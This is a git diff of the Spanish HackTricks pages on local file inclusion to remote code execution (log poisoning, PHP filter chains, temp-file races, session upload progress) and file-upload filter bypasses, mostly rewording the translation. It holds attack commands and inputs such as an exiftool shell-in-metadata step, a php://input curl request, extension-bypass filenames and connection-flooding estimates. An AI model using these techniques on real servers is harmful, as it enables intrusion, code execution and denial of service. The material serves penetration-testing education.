-- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **pivote con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
+- Y para poder obtener **más datos** la idea es **generar 2 bytes de datos basura al principio** con **convert.iconv.UTF16.UTF16**, aplicar **UCS-4LE** para hacer que **se pivotee con los siguientes 2 bytes**, y **eliminar los datos hasta los datos basura** (esto eliminará los primeros 2 bytes del texto inicial). Continuar haciendo esto hasta alcanzar el bit deseado para filtrar.
En la publicación también se filtró una herramienta para realizar esto automáticamente: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
@@ -339,7 +339,7 @@ curl -XPOST "http://example.com/index.php?page=php://input" --data " [!WARNING]
-> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una llamada simple a **`file()`**) pero el contenido no se muestra.
+> Esta técnica es relevante en casos donde **controlas** la **ruta del archivo** de una **función PHP** que **accederá a un archivo** pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de un recorrido de ruta ciego a través de un filtro PHP para **exfiltrar el contenido de un archivo a través de un oráculo de errores**.
@@ -424,14 +424,14 @@ Explicado anteriormente, [**sigue este enlace**](./#remote-file-inclusion).
### A través del archivo de registro de Apache/Nginx
-Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell php como **``** e incluir ese archivo.
+Si el servidor Apache o Nginx es **vulnerable a LFI** dentro de la función de inclusión, podrías intentar acceder a **`/var/log/apache2/access.log` o `/var/log/nginx/access.log`**, estableciendo dentro del **agente de usuario** o dentro de un **parámetro GET** un shell PHP como **``** e incluir ese archivo.
> [!WARNING]
> Ten en cuenta que **si usas comillas dobles** para el shell en lugar de **comillas simples**, las comillas dobles se modificarán para la cadena "_**quote;**_", **PHP lanzará un error** allí y **nada más se ejecutará**.
>
> Además, asegúrate de **escribir correctamente la carga útil** o PHP dará error cada vez que intente cargar el archivo de registro y no tendrás una segunda oportunidad.
-Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría insertarse dentro de este encabezado.\
+Esto también podría hacerse en otros registros, pero **ten cuidado**, el código dentro de los registros podría estar codificado en URL y esto podría destruir el Shell. El encabezado **autorización "basic"** contiene "usuario:contraseña" en Base64 y se decodifica dentro de los registros. El PHPShell podría ser insertado dentro de este encabezado.\
Otras posibles rutas de registro:
```python
/var/log/apache2/access.log
@@ -446,16 +446,16 @@ Otras posibles rutas de registro:
```
Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI](https://github.com/danielmiessler/SecLists/tree/master/Fuzzing/LFI)
-### A través de Email
+### Vía Email
**Envía un correo** a una cuenta interna (user@localhost) que contenga tu carga útil de PHP como `` e intenta incluir en el correo del usuario con una ruta como **`/var/mail/`** o **`/var/spool/mail/`**
-### A través de /proc/\*/fd/\*
+### Vía /proc/\*/fd/\*
1. Sube muchas shells (por ejemplo: 100)
-2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (puede ser forzado por fuerza bruta) y $FD el descriptor de archivo (también puede ser forzado por fuerza bruta)
+2. Incluye [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), con $PID = PID del proceso (se puede forzar por fuerza bruta) y $FD el descriptor de archivo (también se puede forzar por fuerza bruta)
-### A través de /proc/self/environ
+### Vía /proc/self/environ
Como un archivo de registro, envía la carga útil en el User-Agent, se reflejará dentro del archivo /proc/self/environ
```
@@ -588,26 +588,4 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
### A través de espera eterna + bruteforce
-Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podrías entonces **fuerza bruta los nombres de archivos durante horas** para encontrar el archivo temporal:
-
-{{#ref}}
-lfi2rce-via-eternal-waiting.md
-{{#endref}}
-
-### A Error Fatal
-
-Si incluyes cualquiera de los archivos `/usr/bin/phar`, `/usr/bin/phar7`, `/usr/bin/phar.phar7`, `/usr/bin/phar.phar`. (Necesitas incluir el mismo dos veces para provocar ese error).
-
-**No sé cuán útil es esto, pero podría serlo.**\
-NAN;_Even si causas un Error Fatal de PHP, los archivos temporales de PHP subidos son eliminados._
-
-
-
-## Referencias
-
-- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)\\
-- [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
-
-{% file src="../../images/EN-Local-File-Inclusion-1.pdf" %}
-
-{{#include ../../banners/hacktricks-training.md}}
+Si puedes abusar del LFI para **subir archivos temporales** y hacer que el servidor **congele** la ejecución de PHP, podr
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
index 8ca5adc51..30bda23e5 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@@ -1,4 +1,4 @@
-# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
+# LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STDIO + Path Disclosure
{{#include ../../banners/hacktricks-training.md}}
@@ -26,14 +26,14 @@ if (flags & PHP_STREAM_PREFER_STDIO) {
[**Este CTF**](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer) fue resuelto utilizando el truco anterior.
-El atacante hará que el **servidor víctima abra una conexión leyendo un archivo del servidor del atacante** utilizando el protocolo **`compress.zlib`**.
+El atacante hará que el **servidor víctima abra una conexión leyendo un archivo desde el servidor del atacante** utilizando el **`compress.zlib`** protocolo.
-**Mientras** esta **conexión** exista, el atacante **exfiltrará la ruta** al archivo temporal creado (es filtrado por el servidor).
+**Mientras** esta **conexión** exista, el atacante **exfiltrará la ruta** al archivo temporal creado (es filtrada por el servidor).
**Mientras** la **conexión** siga abierta, el atacante **explotará un LFI cargando el archivo temporal** que controla.
-Sin embargo, hay una verificación en el servidor web que **previene cargar archivos que contengan ``**. Por lo tanto, el atacante abusará de una **Condición de Carrera**. En la conexión que aún está abierta, el **atacante** **enviará la carga útil de PHP DESPUÉS** de que el **servidor web** haya **verificado** si el archivo contiene los caracteres prohibidos, pero **ANTES de cargar su contenido**.
+Sin embargo, hay una verificación en el servidor web que **previene cargar archivos que contengan ``**. Por lo tanto, el atacante abusará de una **Condición de Carrera**. En la conexión que aún está abierta, el **atacante** **enviará la carga útil de PHP DESPUÉS** de que el **servidor web** haya **verificado** si el archivo contiene los caracteres prohibidos, pero **ANTES de que cargue su contenido**.
-Para más información, consulta la descripción de la Condición de Carrera y el CTF en [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
+Para más información, consulte la descripción de la Condición de Carrera y el CTF en [https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer](https://balsn.tw/ctf_writeup/20191228-hxp36c3ctf/#includer)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
index 9c4543b6a..bd0d55f0c 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md
@@ -17,24 +17,24 @@ También, el **número de nombres de archivo potenciales es 62\*62\*62\*62\*62\*
### Otras técnicas
-Otras técnicas se basan en atacar protocolos de PHP (no podrás hacerlo si solo controlas la última parte de la ruta), divulgando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra un fallo de segmentación para que los archivos temporales subidos no sean eliminados**.\
-Esta técnica es **muy similar a la última pero sin necesidad de encontrar un zero day**.
+Otras técnicas se basan en atacar protocolos de PHP (no podrás si solo controlas la última parte de la ruta), divulgando la ruta del archivo, abusando de archivos esperados, o **haciendo que PHP sufra un fallo de segmentación para que los archivos temporales subidos no sean eliminados**.\
+Esta técnica es **muy similar a la anterior pero sin necesidad de encontrar un zero day**.
### Técnica de espera eterna
En esta técnica **solo necesitamos controlar una ruta relativa**. Si logramos subir archivos y hacer que el **LFI nunca termine**, tendremos "suficiente tiempo" para **forzar archivos subidos** y **encontrar** cualquiera de los que se hayan subido.
-**Pros de esta técnica**:
+**Ventajas de esta técnica**:
- Solo necesitas controlar una ruta relativa dentro de un include
-- No requiere nginx o un nivel inesperado de acceso a archivos de registro
+- No requiere nginx ni un nivel inesperado de acceso a archivos de registro
- No requiere un 0 day para causar un fallo de segmentación
- No requiere divulgación de ruta
Los **principales problemas** de esta técnica son:
- Necesita que un archivo(s) específico(s) esté(n) presente(s) (puede haber más)
-- La **cantidad insana** de nombres de archivo potenciales: **56800235584**
+- La **increíble** cantidad de nombres de archivo potenciales: **56800235584**
- Si el servidor **no está usando dígitos**, la cantidad total potencial es: **19770609664**
- Por defecto, **solo se pueden subir 20 archivos** en una **solicitud única**.
- El **número máximo de trabajadores paralelos** del servidor utilizado.
@@ -65,7 +65,7 @@ Hagamos algunos cálculos:
> [!WARNING]
> ¡Ten en cuenta que en el ejemplo anterior estamos **completamente DoSing a otros clientes**!
-Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a mitad de camino al número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se reduciría a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad).
+Si el servidor Apache se mejora y pudiéramos abusar de **4000 conexiones** (a medio camino del número máximo). Podríamos crear `3999*20 = 79980` **archivos** y el **número** se reduciría a alrededor de **19.7h** o **6.9h** (10h, 3.5h 50% de probabilidad).
## PHP-FMP
@@ -74,7 +74,7 @@ Si en lugar de usar el módulo php regular para apache para ejecutar scripts PHP
PHP-FMP permite **configurar** el **parámetro** **`request_terminate_timeout`** en **`/etc/php//fpm/pool.d/www.conf`**.\
Este parámetro indica la cantidad máxima de segundos **cuando** **la solicitud a PHP debe terminar** (infinito por defecto, pero **30s si el parámetro está descomentado**). Cuando una solicitud está siendo procesada por PHP el número de segundos indicado, es **eliminada**. Esto significa que, si la solicitud estaba subiendo archivos temporales, porque el **procesamiento de PHP fue detenido**, esos **archivos no se van a eliminar**. Por lo tanto, si puedes hacer que una solicitud dure ese tiempo, puedes **generar miles de archivos temporales** que no serán eliminados, lo que **acelerará el proceso de encontrarlos** y reduce la probabilidad de un DoS a la plataforma al consumir todas las conexiones.
-Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento de PHP por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
+Entonces, para **evitar DoS** supongamos que un **atacante estará usando solo 100 conexiones** al mismo tiempo y el tiempo máximo de procesamiento por **php-fmp** (`request_terminate_timeout`**)** es **30s**. Por lo tanto, el número de **archivos temporales** que se pueden generar **por segundo** es `100*20/30 = 66.67`.
Luego, para generar **10000 archivos** un atacante necesitaría: **`10000/66.67 = 150s`** (para generar **100000 archivos** el tiempo sería **25min**).
@@ -92,6 +92,6 @@ Sí, es posible generar 100000 archivos temporales en una instancia de tamaño m
## Nginx
-Parece que por defecto Nginx soporta **512 conexiones paralelas** al mismo tiempo (y este número puede mejorarse).
+Parece que por defecto Nginx soporta **512 conexiones paralelas** al mismo tiempo (y este número se puede mejorar).
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
index 25ceed065..8fb988e98 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
@@ -11,12 +11,12 @@ Básicamente, el objetivo del script es **generar una cadena Base64** al **princ
Las bases para hacer esto son:
- `convert.iconv.UTF8.CSISO2022KR` siempre antepondrá `\x1b$)C` a la cadena
-- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea base64 válido. Da algunos problemas si encuentra "=" inesperados, pero esos se pueden eliminar con el filtro `convert.iconv.UTF8.UTF7`.
+- `convert.base64-decode` es extremadamente tolerante, básicamente ignorará cualquier carácter que no sea un base64 válido. Da algunos problemas si encuentra un "=" inesperado, pero esos se pueden eliminar con el filtro `convert.iconv.UTF8.UTF7`.
El bucle para generar contenido arbitrario es:
1. anteponer `\x1b$)C` a nuestra cadena como se describió anteriormente
-2. aplicar una cadena de conversiones iconv que deje nuestra base64 inicial intacta y convierta la parte que acabamos de anteponer a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64
+2. aplicar una cadena de conversiones iconv que deje nuestro base64 inicial intacto y convierta la parte que acabamos de anteponer a alguna cadena donde el único carácter base64 válido sea la siguiente parte de nuestro código php codificado en base64
3. decodificar en base64 y volver a codificar en base64 la cadena, lo que eliminará cualquier basura en medio
4. Volver a 1 si el base64 que queremos construir aún no está terminado
5. decodificar en base64 para obtener nuestro código php
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
index 43bdb7caf..8a2497b2f 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-phpinfo.md
@@ -6,7 +6,7 @@ Para explotar esta vulnerabilidad necesitas: **Una vulnerabilidad LFI, una pági
**Tutorial HTB**: [https://www.youtube.com/watch?v=rs4zEwONzzk\&t=600s](https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s)
-Necesitas corregir el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
+Necesitas arreglar el exploit (cambiar **=>** por **=>**). Para hacerlo puedes hacer:
```
sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\>/g' phpinfolfi.py
```
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
index e91167401..b88530635 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-segmentation-fault.md
@@ -1,4 +1,4 @@
-# LFI2RCE a través de Fallo de Segmentación
+# LFI2RCE a través de un fallo de segmentación
{{#include ../../banners/hacktricks-training.md}}
@@ -12,7 +12,7 @@ include("php://filter/convert.quoted-printable-encode/resource=data://,%bfAAAAAA
```
Debes saber que si **envías** una solicitud **POST** **que contiene** un **archivo**, PHP creará un **archivo temporal en `/tmp/php`** con el contenido de ese archivo. Este archivo será **eliminado automáticamente** una vez que se procese la solicitud.
-Si encuentras un **LFI** y logras **provocar** un fallo de segmentación en PHP, el **archivo temporal nunca será eliminado**. Por lo tanto, puedes **buscar** en la vulnerabilidad **LFI** hasta que lo encuentres y ejecutes código arbitrario.
+Si encuentras un **LFI** y logras **provocar** un fallo de segmentación en PHP, el **archivo temporal nunca será eliminado**. Por lo tanto, puedes **buscar**lo con la vulnerabilidad **LFI** hasta que lo encuentres y ejecutes código arbitrario.
Puedes usar la imagen de docker [https://hub.docker.com/r/easyengine/php7.0](https://hub.docker.com/r/easyengine/php7.0) para pruebas.
```python
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
index c9137afa7..a58c0bab0 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
@@ -4,12 +4,12 @@
## **Subidas de archivos PHP**
-Cuando un motor **PHP** recibe una **solicitud POST** que contiene archivos formateados según la RFC 1867, genera archivos temporales para almacenar los datos subidos. Estos archivos son cruciales para el manejo de subidas de archivos en scripts PHP. La función `move_uploaded_file` debe ser utilizada para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
+Cuando un motor **PHP** recibe una **solicitud POST** que contiene archivos formateados según el RFC 1867, genera archivos temporales para almacenar los datos subidos. Estos archivos son cruciales para el manejo de subidas de archivos en scripts PHP. La función `move_uploaded_file` debe ser utilizada para trasladar estos archivos temporales a una ubicación deseada si se necesita almacenamiento persistente más allá de la ejecución del script. Después de la ejecución, PHP elimina automáticamente cualquier archivo temporal restante.
> [!NOTE]
> **Alerta de seguridad: Los atacantes, conscientes de la ubicación de los archivos temporales, podrían explotar una vulnerabilidad de Inclusión de Archivos Local (LFI) para ejecutar código accediendo al archivo durante la subida.**
-El desafío para el acceso no autorizado radica en predecir el nombre del archivo temporal, que se aleatoriza intencionalmente.
+El desafío para el acceso no autorizado radica en predecir el nombre del archivo temporal, que es intencionalmente aleatorio.
#### Explotación en sistemas Windows
@@ -17,7 +17,7 @@ En Windows, PHP genera nombres de archivos temporales utilizando la función `Ge
- La ruta predeterminada es típicamente `C:\Windows\Temp`.
- El prefijo suele ser "php".
-- El `` representa un valor hexadecimal único. Crucialmente, debido a la limitación de la función, solo se utilizan los 16 bits inferiores, permitiendo un máximo de 65,535 nombres únicos con ruta y prefijo constantes, lo que hace que el ataque por fuerza bruta sea factible.
+- El `` representa un valor hexadecimal único. Crucialmente, debido a la limitación de la función, solo se utilizan los 16 bits inferiores, permitiendo un máximo de 65,535 nombres únicos con ruta y prefijo constantes, lo que hace que el ataque de fuerza bruta sea factible.
Además, el proceso de explotación se simplifica en sistemas Windows. Una peculiaridad en la función `FindFirstFile` permite el uso de comodines en las rutas de Inclusión de Archivos Local (LFI). Esto permite crear una ruta de inclusión como la siguiente para localizar el archivo temporal:
```
@@ -25,7 +25,7 @@ http://site/vuln.php?inc=c:\windows\temp\php<<
```
En ciertas situaciones, puede ser necesaria una máscara más específica (como `php1<<` o `phpA<<`). Se pueden probar sistemáticamente estas máscaras para descubrir el archivo temporal subido.
-#### Explotación en sistemas GNU/Linux
+#### Explotación en Sistemas GNU/Linux
Para sistemas GNU/Linux, la aleatoriedad en la nomenclatura de archivos temporales es robusta, lo que hace que los nombres no sean predecibles ni susceptibles a ataques de fuerza bruta. Se pueden encontrar más detalles en la documentación referenciada.
diff --git a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
index 673e84630..1d68f4206 100644
--- a/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
+++ b/src/pentesting-web/file-inclusion/via-php_session_upload_progress.md
@@ -4,7 +4,7 @@
## Información Básica
-Si encontraste una **Local File Inclusion** incluso si **no tienes una sesión** y `session.auto_start` está `Desactivado`. Si **`session.upload_progress.enabled`** está **`Activado`** y proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**.
+Si encontraste una **Inclusión de Archivos Local** incluso si **no tienes una sesión** y `session.auto_start` está `Desactivado`. Si **`session.upload_progress.enabled`** está **`Activado`** y proporcionas el **`PHP_SESSION_UPLOAD_PROGRESS`** en datos **multipart POST**, PHP **habilitará la sesión para ti**.
```bash
$ curl http://127.0.0.1/ -H 'Cookie: PHPSESSID=iamorange'
$ ls -a /var/lib/php/sessions/
@@ -21,7 +21,7 @@ In the last example the session will contain the string blahblahblah
Nota que con **`PHP_SESSION_UPLOAD_PROGRESS`** puedes **controlar datos dentro de la sesión**, así que si incluyes tu archivo de sesión puedes incluir una parte que controlas (un php shellcode por ejemplo).
> [!NOTE]
-> Aunque la mayoría de los tutoriales en Internet te recomiendan establecer `session.upload_progress.cleanup` en `Off` para fines de depuración. El valor predeterminado de `session.upload_progress.cleanup` en PHP sigue siendo `On`. Esto significa que tu progreso de carga en la sesión se limpiará lo antes posible. Así que esto será **Race Condition**.
+> Aunque la mayoría de los tutoriales en Internet te recomiendan establecer `session.upload_progress.cleanup` en `Off` para fines de depuración. El valor predeterminado de `session.upload_progress.cleanup` en PHP sigue siendo `On`. Esto significa que tu progreso de carga en la sesión será limpiado lo antes posible. Así que esto será **Race Condition**.
### El CTF
@@ -29,7 +29,7 @@ En el [**CTF original**](https://blog.orange.tw/2018/10/) donde se comenta esta
Debido a la configuración predeterminada de `session.upload_progress.prefix`, nuestro **archivo de SESIÓN comenzará con un prefijo molesto** `upload_progress_` Tal como: `upload_progress_controlledcontentbyattacker`
-El truco para **eliminar el prefijo inicial** fue **base64encode el payload 3 veces** y luego decodificarlo a través de los filtros `convert.base64-decode`, esto se debe a que cuando **decodificas en base64 PHP eliminará los caracteres extraños**, así que después de 3 veces **solo** el **payload** **enviado** por el atacante **permanecerá** (y luego el atacante puede controlar la parte inicial).
+El truco para **eliminar el prefijo inicial** fue **base64encode el payload 3 veces** y luego decodificarlo a través de filtros `convert.base64-decode`, esto se debe a que cuando **PHP decodifica base64, eliminará los caracteres extraños**, así que después de 3 veces **solo** el **payload** **enviado** por el atacante **permanecerá** (y luego el atacante puede controlar la parte inicial).
Más información en el escrito original [https://blog.orange.tw/2018/10/](https://blog.orange.tw/2018/10/) y exploit final [https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py](https://github.com/orangetw/My-CTF-Web-Challenges/blob/master/hitcon-ctf-2018/one-line-php-challenge/exp_for_php.py)\
Otro escrito en [https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/](https://spyclub.tech/2018/12/21/one-line-and-return-of-one-line-php-writeup/)
diff --git a/src/pentesting-web/file-upload/README.md b/src/pentesting-web/file-upload/README.md
index 3cf226e1c..8dced9fe4 100644
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@@ -16,7 +16,7 @@ Otras extensiones útiles:
- **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Server**: _.yaws_
-### Bypass de comprobaciones de extensiones de archivo
+### Bypass de comprobaciones de extensiones de archivos
1. Si aplica, **verifica** las **extensiones anteriores.** También pruébalas usando algunas **letras mayúsculas**: _pHp, .pHP5, .PhAr ..._
2. _Verifica **agregando una extensión válida antes** de la extensión de ejecución (usa también las extensiones anteriores):_
@@ -32,7 +32,7 @@ Otras extensiones útiles:
- _file._
- _file.php...._
- _file.pHp5...._
-4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga útil._
+4. Intenta eludir las protecciones **engañando al analizador de extensiones** del lado del servidor con técnicas como **duplicar** la **extensión** o **agregar datos basura** (**bytes nulos**) entre extensiones. _También puedes usar las **extensiones anteriores** para preparar una mejor carga._
- _file.png.php_
- _file.png.pHp5_
- _file.php#.png_
@@ -44,7 +44,7 @@ Otras extensiones útiles:
5. Agrega **otra capa de extensiones** a la verificación anterior:
- _file.png.jpg.php_
- _file.php%00.png%00.jpg_
-6. Intenta poner la **extensión exec antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
+6. Intenta poner la **extensión de ejecución antes de la extensión válida** y reza para que el servidor esté mal configurado. (útil para explotar configuraciones incorrectas de Apache donde cualquier cosa con extensión **_**.php**_**, pero** no necesariamente terminando en .php** ejecutará código):
- _ej: file.php.png_
7. Usando **NTFS alternate data stream (ADS)** en **Windows**. En este caso, se insertará un carácter de dos puntos “:” después de una extensión prohibida y antes de una permitida. Como resultado, se creará un **archivo vacío con la extensión prohibida** en el servidor (por ejemplo, “file.asax:.jpg”). Este archivo podría ser editado más tarde usando otras técnicas como usar su nombre de archivo corto. El patrón “**::$data**” también se puede usar para crear archivos no vacíos. Por lo tanto, agregar un carácter de punto después de este patrón también podría ser útil para eludir más restricciones (por ejemplo, “file.asp::$data.”)
8. Intenta romper los límites del nombre de archivo. La extensión válida se corta. Y el PHP malicioso se queda. AAA<--SNIP-->AAA.php
@@ -56,7 +56,7 @@ Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac
# Sube el archivo y verifica la respuesta cuántos caracteres permite. Digamos 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-# Haz la carga útil
+# Haz la carga
AAA<--SNIP 232 A-->AAA.php.png
```
@@ -66,19 +66,19 @@ AAA<--SNIP 232 A-->AAA.php.png
1. **Lista de palabras** de Content-Type: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Elude la comprobación de **magic number** agregando al principio del archivo los **bytes de una imagen real** (confundir el comando _file_). O introduce el shell dentro de los **metadatos**:\
`exiftool -Comment="' >> img.png`
- Si **se está agregando compresión a tu imagen**, por ejemplo usando algunas bibliotecas estándar de PHP como [PHP-GD](https://www.php.net/manual/fr/book.image.php), las técnicas anteriores no serán útiles. Sin embargo, podrías usar el **chunk PLTE** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- La página web también podría estar **redimensionando** la **imagen**, usando por ejemplo las funciones de PHP-GD `imagecopyresized` o `imagecopyresampled`. Sin embargo, podrías usar el **chunk IDAT** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
-- Otra técnica para hacer una carga útil que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
+- Otra técnica para hacer una carga que **sobreviva a un redimensionamiento de imagen**, usando la función de PHP-GD `thumbnailImage`. Sin embargo, podrías usar el **chunk tEXt** [**técnica definida aquí**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) para insertar algún texto que **sobreviva a la compresión**.
- [**Github con el código**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Otros trucos a verificar
- Encuentra una vulnerabilidad para **renombrar** el archivo ya subido (para cambiar la extensión).
-- Encuentra una vulnerabilidad de **Inclusión de Archivos Locales** para ejecutar el backdoor.
+- Encuentra una vulnerabilidad de **Inclusión de Archivos Local** para ejecutar el backdoor.
- **Posible divulgación de información**:
1. Sube **varias veces** (y al **mismo tiempo**) el **mismo archivo** con el **mismo nombre**
2. Sube un archivo con el **nombre** de un **archivo** o **carpeta** que **ya existe**
@@ -99,7 +99,7 @@ La extensión `.inc` a veces se usa para archivos php que solo se utilizan para
## **Jetty RCE**
-Si puedes subir un archivo XML a un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
+Si puedes subir un archivo XML en un servidor Jetty, puedes obtener [RCE porque **nuevos \*.xml y \*.war son procesados automáticamente**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Así que, como se menciona en la siguiente imagen, sube el archivo XML a `$JETTY_BASE/webapps/` y ¡espera el shell!
.png>)
